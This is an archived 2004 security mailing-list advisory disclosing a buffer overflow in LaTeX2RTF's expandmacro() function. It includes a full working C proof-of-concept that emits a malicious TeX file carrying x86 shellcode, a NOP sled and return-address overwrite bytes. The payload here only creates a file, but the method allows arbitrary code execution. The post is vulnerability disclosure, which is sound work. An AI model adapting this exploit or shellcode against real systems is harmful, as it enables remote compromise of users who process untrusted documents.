Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm Delivered-To: mailing list securesoftware@list.cr.yp.to Received: (qmail 6713 invoked by uid 1017); 20 Sep 2004 21:37:08 -0000 Date: 20 Sep 2004 21:37:08 -0000 Message-ID: <20040920213708.6712.qmail@cr.yp.to> Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html. From: "D. J. Bernstein" To: securesoftware@list.cr.yp.to, latex2rtf-developers@lists.sourceforge.net Subject: [remote] [control] latex2rtf 1.9.15 expandmacro overflows buffer Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline There's a remotely exploitable security hole in the current version of LaTeX2RTF (1.9.15) and presumably also in previous versions. Example of exploiting the hole: The attacker runs the C program below, which prints out a TeX document. The attacker sends that document to you by email. You feed the document through LaTeX2RTF on an x86-compatible computer running FreeBSD. Result: A file called EXPLOITED is created on your computer. You can verify this by running gcc -o attack attack.c ./attack > attack.tex latex2rtf < attack.tex Of course, the attacker could instead read your files, change or destroy your existing files, run programs of his choice, etc. There's nothing special about FreeBSD; similar attacks work under Linux and presumably Windows, including systems ``protected'' by NX. Here's the relevant bug in the program: strcpy(expanded,macro_piece) in expandmacro() fails to check whether there's enough buffer space for a copy of macro_piece. There are, by the way, other buffer overflows in LaTeX2RTF. Data can be written past the end of Environments, for example, and one byte after cCommand in TranslateCommand. Presumably some of these other overflows are exploitable. ---D. J. Bernstein, Associate Professor, Department of Mathematics, Statistics, and Computer Science, University of Illinois at Chicago char center[] = { 0x59 /* cx = *sp++ */ , 0x31, 0xc0 /* ax ^= ax */ , 0x40 /* ++ax */ , 0x40 /* ++ax */ , 0x40 /* ++ax */ , 0xc1, 0xe0, 0x07 /* ax <<= 7 */ , 0x50 /* *--sp = ax 0600 */ , 0xb8, 0x12, 0x34, 0x56, 0x02 /* ax = 0x02563412 */ , 0xc1, 0xe8, 0x18 /* ax >>= 24 */ , 0xc1, 0xe0, 0x08 /* ax <<= 8 */ , 0x50 /* *--sp = ax 512:O_CREAT */ , 0x51 /* *--sp = cx "EXPLOITED" */ , 0x31, 0xc0 /* ax ^= ax */ , 0xb0, 0x05 /* ax = (ax & ~255) + 5 */ , 0x50 /* *--sp = ax 5:open */ , 0xcd, 0x80 /* syscall */ , 0x31, 0xc0 /* ax ^= ax */ , 0x50 /* *--sp = ax 0 */ , 0x40 /* ++ax */ , 0x50 /* *--sp = ax 1:exit */ , 0xcd, 0x80 /* syscall */ } ; int main() { int i; printf("\\def\\row#1{"); for (i = 0;i < 1024;++i) putchar('x'); for (i = 0;i < 6;++i) { /* preserve args[0] */ putchar(0x40); putchar(0x6d); putchar(0x08); putchar(0x08); } for (i = 0;i < 5;++i) { /* smasher */ putchar(0x40); putchar(0xf9); putchar(0xbf); putchar(0xbf); } for (i = 0;i < 256;++i) putchar(0x90); putchar(0xeb); putchar(sizeof(center)); /* 0xeb 0x07 means ip += 7 */ /* assuming here that center has at most 255 bytes */ for (i = 0;i < sizeof center;++i) putchar(center[i]); putchar(0xe8); putchar(251 - sizeof center); putchar(0xff); putchar(0xff); putchar(0xff); /* 0xe8 0xf4 0xff 0xff 0xff means *--sp = ip; ip -= 12 */ printf("EXPLOITED"); printf("}\n"); printf("\\begin{document}\n"); printf("\\row a\n"); printf("\\end{document}\n"); }